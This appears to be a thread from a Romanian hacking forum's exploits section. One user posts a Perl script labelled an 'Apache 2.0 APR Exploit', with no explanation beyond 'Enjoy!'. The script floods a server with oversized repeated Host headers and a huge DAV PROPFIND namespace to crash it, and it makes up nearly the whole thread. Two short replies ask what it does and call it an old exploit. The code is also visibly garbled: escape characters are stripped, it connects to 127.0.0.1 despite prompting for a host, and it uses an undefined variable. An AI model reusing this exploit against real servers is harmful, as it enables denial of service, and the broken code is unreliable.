Hacking and more...
HaCkinG CulT
Lista Forumurilor Pe Tematici
Hacking and more... | Reguli | Inregistrare | Login

POZE HACKING AND MORE...

Nu sunteti logat.
Nou pe simpatie:
i.oana pe Simpatie.ro
Femeie
20 ani
Bucuresti
cauta Barbat
20 - 45 ani
Hacking and more... / Exploituri si POCs / ce zice-ti de asta credeti ca va merge.... Moderat de Shocker
Autor
Mesaj Pagini: 1
virtual_x
Junior+

Din: madrid
Inregistrat: acum 17 ani
Postari: 37
daca nu va place   "delete"

Enjoy!


"# Base64 Encoder
# base64 %s
#
# would result in:
#
# base64 userid:password
#
# If your decoder requires you to use STDIN to pass the password
# (no pun intended), set $BASE64_USE_STDIN to nonzero and do not
# use '%s' on the command-line.
$BASE64_CMD_STRING = "use_base64_encoder_here %s";

# Base64 encoder piping
#
# If your encoder requires the password to be written to STDIN,
# set this to a nonzero value.  NOTE: This requires support for
# bi-directional pipes on your OS version.
$BASE64_USE_STDIN = 0;

# Base64 encoder input handling
#
# If your encoder requires a newline after your credentials,
# set this to your newline character.
$BASE64_WRITE_NL = "";

use IO::Socket;
print STDOUT "Apache 2.0 APR Exploitrn";
print STDOUT "By Matthew Murphyrnrn";
print STDOUT "Enter the hostname/IP address of the server: ";
$line = <STDIN>;
$host = mychomp($line);
print STDOUT "Enter the port of the server [80]: ";
$line = <STDIN>;
$port = mychomp($line);
print STDOUT "Use authentication credentials for the session [Y/N]? ";
$line = <STDIN>;
$char = mychomp($line);
if ($char == "Y" || $char == "y") {
         print STDOUT "What username shall we use: ";
         $line = <STDIN>;
         $user = mychomp($line);
         print STDOUT "What password shall we use: ";
         $line = <STDIN>;
         $pass = mychomp($line);
         $auth = "$user:$pass";
         if ($BASE64_USE_STDIN) {
                  # l33t Perl piping trix; NOTE: This is definitely
                  # Alpha code! :-)
                  pipe(STDOUTREAD, STDOUTWRITE);
                  pipe(STDINREAD, STDINWRITE);
                  open(OLDSTDIN, "&STDIN");
                  open(OLDSTDOUT, ">&STDOUT");
                  open(STDIN, "&STDINREAD");
                  open(STDOUT, ">&STDOUTWRITE");
                  close(STDINREAD);
                  close(STDOUTWRITE);
                  system($BASE64_CMD_STRING);
                  open(STDIN, "&OLDSTDIN");
                  open(STDOUT, "&>OLDSTDOUT");
                  close(OLDSTDIN);
                  close(OLDSTDOUT);
                  print STDINWRITE $auth;
                  close(STDINWRITE);
                  read(STDOUTREAD, $base64, 4096); # Edit for insane passwords
                  close(STDOUTREAD);
         } else {
                  open(READOUTPUT, sprintf($BASE64_CMD_STRING, $auth)."|");
                  read(READOUTPUT, $base64, 4096); # See above
                  close(READOUTPUT);
         }
         # Another hack for dealing with base64 encoders that output
         # multi-lined encoded text.  HTTP specifically calls for a
         # single line.  Note that this pattern also messes with spaces,
         # tabs, etc., but base64 doesn't use those either, so this
         # shouldn't matter.
         $base64 = join("", split(/ /, $base64));
} else {
         $base64 = undef;
}
$f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"127.0.0.1");
print STDOUT "Exploiting a proxy server [Y/N]? ";
$line = <STDIN>;
$char = mychomp($line);
if ($char == "Y" || $char == "y") {
         print $f "GET / HTTP/1.1x0dx0a";

         # Apache 2.0 tries to limit header inputs, but uses a hash table
         # that ultimately concatenates multiple headers of the same name
         # together with ", " between them, so:
         #
         # Host: a
         # Host: b
         #
         # Bypasses Apache's buffer size checks, but ends up as:
         #
         # Host: a,b
         #
         # When processed.  Confirm this with a TRACE against your server:
         #
         # TRACE / HTTP/1.1
         # Host: a
         # Host: b
         #
         # The "message/http" body you receive will contain:
         #
         # TRACE / HTTP/1.1
         # Host: a,b
         #
         # So, for those of you who are confused by this code fragment,
         # this is what it ultimately achieves!
         for ($i = 0; $i < 10; $i++) {
                  print $f "Host: ".("A"x2000)."rn";
         }
         if (defined($base64)) {
                  print $f "Proxy-Authorization: Basic ".$base64."rn";
         }
         print $f "rn";
} else {
         print STDOUT "What resource should be probed: ";
         $line = <STDIN>;
         $res = mychomp($line);
         print STDOUT "Exploit a DAV repository for this attack? [Y/N] ";
         $line = <STDIN>;
         $char = mychomp($line);
         if ($char == "Y" || $char == "y") {
                  # WARNING:
                  # Another section of alpha code here; mod_dav tends to barf
                  # if given the smallest inconsistency, and this is not
                  # exactly well-researched.  If this doesn't work for you,
                  # target your DAV repository as a typical resource: if
                  # UseCanonicalName On hasn't been set explicitly, mod_dav
                  # will choke on that as well.
                  #
                  # STunnel should not have issues with this, as you can't
                  # use a "Host" header in an SSL connection anyway, so
                  # that is no problem.
                  #
                  # Note that if the body is too long, IIS servers will also
                  # die (assuming of course, that the latest IIS cumulative
                  # patch has not been applied), as they have had problems
                  # dealing with WebDAV in the very recent past.

                  # XML Body of Request
                  #
                  # If everything works, mod_dav will attempt to format a
                  # message with apr_psprintf() to indicate that our
                  # namespace is invalid, leading to a crash.
                  $xmlbody = "<?xml version="1.0"?>rn";
                  $xmlbody.= "<D:propfind xmlns:D="".("A"x20000).":">rn";
                  $xmlbody.= "x20x20x20x20<D:allprop/>rn";
                  $xmlbody.= "</D:propfind>";

                  # HTTP headers
                  print $f "PROPFIND $res HTTP/1.1rn";
                  print $f "Host: $host:$portrn";
                  print $f "Depth: 1rn";
                  print $f "Content-Type: text/xml; charset="utf-8"rn";
                  print $f "Content-Length: ".length($body)."rnrn";
                  if (defined($base64)) {
                           print $f "Authorization: Basic ".$base64."rn";
                  }
                  print $f "$xmlbodyrnrn";
         } else {
                  # This does *almost* the exact same thing as the mod_proxy
                  # code, and could be considered wasteful, but a few extra
                  # CPU cycles never killed anybody. :-(
                  print $f "GET $res HTTP/1.1rn";
                  for ($i = 0; $i < 10; $i++) {
                           print $f "Host: ".("A"x2000)."rn";
                  }
                  if (defined($base64)) {
                           print $f "Authorization: Basic ".$base64."rn";
                  }
                  print $f "rn";
         }
}
while (defined($ln = <$f>)) {
         print STDOUT $ln;
}
undef $f;
exit;

# FIXED: The perl chomp() function is broken on my distro,
# so I hacked a fix to work around it.  This note applies
# to ActivePerl 5.8.x -- I haven't tried others.  This is
# another hackish fix, which seems to be the entire style
# of this code.  I'll write better toys when I have time to
# write better toys.
sub mychomp {
         my $data;
         my $arg = shift;
         my $CRLF;
         if ($^O == "MSWin32") {
                  $CRLF = 1;
         } else {
                  $CRLF = 0;
         }
         $data = substr($arg, 0, length($arg) - $CRLF);
         return $data;
}"

Modificat de Shocker (acum 17 ani)


_______________________________________
net_shadow

pus acum 17 ani
   
zapakitul
Elite Member

Inregistrat: acum 17 ani
Postari: 1158
Ne poti spune si ce face? Ce tip de exploit e?

Modificat de zapakitul (acum 17 ani)


pus acum 17 ani
   
escalation666
Little Kevin

Din: Valhalla
Inregistrat: acum 17 ani
Postari: 53
e doar un exploit vechi pentru apache
si din care lipseste partea cea mai importanta pentru interpretor #!/usr/bin/perl :P


pus acum 17 ani
   
Pagini: 1  

Mergi la